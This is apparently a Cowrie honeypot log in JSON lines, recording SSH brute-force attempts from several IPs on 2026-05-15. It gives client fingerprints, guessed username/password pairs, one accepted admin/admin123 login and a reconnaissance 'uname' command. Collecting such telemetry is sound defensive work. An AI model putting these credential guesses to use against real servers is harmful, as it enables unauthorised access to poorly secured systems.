{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:14:52.491079Z","src_ip":"43.163.119.215","session":"7955328699fd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:14:52.730123Z","src_ip":"43.163.119.215","session":"7955328699fd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"oscar","password":"oscar","message":"login attempt [oscar/oscar] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:14:53.446423Z","src_ip":"43.163.119.215","session":"7955328699fd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"205.209.121.72","src_port":34596,"dst_ip":"10.17.0.5","dst_port":22,"session":"ea6ff86e6b7f","protocol":"ssh","message":"New connection: 205.209.121.72:34596 (10.17.0.5:22) [session: ea6ff86e6b7f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:14:53.930648Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:14:53.935153Z","src_ip":"205.209.121.72","session":"ea6ff86e6b7f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:14:53.941334Z","src_ip":"205.209.121.72","session":"ea6ff86e6b7f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"linux","password":"linux123","message":"login attempt [linux/linux123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:14:53.997221Z","src_ip":"205.209.121.72","session":"ea6ff86e6b7f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.190","src_port":31978,"dst_ip":"10.17.0.5","dst_port":22,"session":"3eb36bf3f413","protocol":"ssh","message":"New connection: 176.65.132.190:31978 (10.17.0.5:22) [session: 3eb36bf3f413]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:14:54.013064Z"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:14:54.038180Z","src_ip":"176.65.132.190","session":"3eb36bf3f413","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:14:54.687179Z","src_ip":"43.163.119.215","session":"7955328699fd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:14:55.005889Z","src_ip":"205.209.121.72","session":"ea6ff86e6b7f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"163.7.9.84","src_port":47492,"dst_ip":"10.17.0.5","dst_port":22,"session":"629397a8a042","protocol":"ssh","message":"New connection: 163.7.9.84:47492 (10.17.0.5:22) [session: 629397a8a042]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:14:55.275084Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:14:55.280342Z","src_ip":"163.7.9.84","session":"629397a8a042","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:14:55.536913Z","src_ip":"163.7.9.84","session":"629397a8a042","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"pakchoi","password":"Kermit123@","message":"login attempt [pakchoi/Kermit123@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:14:56.582524Z","src_ip":"163.7.9.84","session":"629397a8a042","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:14:57.839286Z","src_ip":"163.7.9.84","session":"629397a8a042","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.75.199.4","src_port":32914,"dst_ip":"159.203.135.109","dst_port":22,"session":"5c0439682149","protocol":"ssh","message":"New connection: 103.75.199.4:32914 (159.203.135.109:22) [session: 5c0439682149]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:14:58.575362Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:14:58.580733Z","src_ip":"103.75.199.4","session":"5c0439682149","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:14:58.675831Z","src_ip":"103.75.199.4","session":"5c0439682149","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin123","message":"login attempt [admin/admin123] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:14:58.961562Z","src_ip":"103.75.199.4","session":"5c0439682149","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:14:59.202201Z","src_ip":"103.75.199.4","session":"5c0439682149","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:14:59.206028Z","src_ip":"103.75.199.4","session":"5c0439682149","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.163.119.215","src_port":46634,"dst_ip":"10.17.0.5","dst_port":22,"session":"8473f07d84e9","protocol":"ssh","message":"New connection: 43.163.119.215:46634 (10.17.0.5:22) [session: 8473f07d84e9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:14:59.288872Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:14:59.293357Z","src_ip":"43.163.119.215","session":"8473f07d84e9","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:14:59.305897Z","src_ip":"103.75.199.4","session":"5c0439682149","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:14:59.310815Z","src_ip":"103.75.199.4","session":"5c0439682149","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:14:59.532769Z","src_ip":"43.163.119.215","session":"8473f07d84e9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"almalinux","password":"almalinux","message":"login attempt [almalinux/almalinux] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:15:00.249285Z","src_ip":"43.163.119.215","session":"8473f07d84e9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:15:01.513471Z","src_ip":"43.163.119.215","session":"8473f07d84e9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"154.83.196.237","src_port":46740,"dst_ip":"159.203.135.109","dst_port":22,"session":"8c5f3c1836a1","protocol":"ssh","message":"New connection: 154.83.196.237:46740 (159.203.135.109:22) [session: 8c5f3c1836a1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:15:07.924545Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:15:07.933543Z","src_ip":"154.83.196.237","session":"8c5f3c1836a1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:15:08.054111Z","src_ip":"154.83.196.237","session":"8c5f3c1836a1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123456AA","message":"login attempt [root/123456AA] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:15:08.567252Z","src_ip":"154.83.196.237","session":"8c5f3c1836a1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:15:09.690969Z","src_ip":"154.83.196.237","session":"8c5f3c1836a1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.163.119.215","src_port":57768,"dst_ip":"10.17.0.5","dst_port":22,"session":"d13b2ae8e03f","protocol":"ssh","message":"New connection: 43.163.119.215:57768 (10.17.0.5:22) [session: d13b2ae8e03f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:15:11.999024Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:15:12.003890Z","src_ip":"43.163.119.215","session":"d13b2ae8e03f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:15:12.234289Z","src_ip":"43.163.119.215","session":"d13b2ae8e03f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"gitlab","password":"gitlab","message":"login attempt [gitlab/gitlab] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:15:12.927651Z","src_ip":"43.163.119.215","session":"d13b2ae8e03f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:15:14.162129Z","src_ip":"43.163.119.215","session":"d13b2ae8e03f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"178.20.210.186","src_port":9968,"dst_ip":"10.17.0.5","dst_port":22,"session":"fd5b8750ed5a","protocol":"ssh","message":"New connection: 178.20.210.186:9968 (10.17.0.5:22) [session: fd5b8750ed5a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:15:16.667612Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:15:16.677057Z","src_ip":"178.20.210.186","session":"fd5b8750ed5a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:15:16.801514Z","src_ip":"178.20.210.186","session":"fd5b8750ed5a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.153.46.75","src_port":59980,"dst_ip":"159.203.135.109","dst_port":22,"session":"cc587d8fed91","protocol":"ssh","message":"New connection: 43.153.46.75:59980 (159.203.135.109:22) [session: cc587d8fed91]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:15:16.914044Z"}
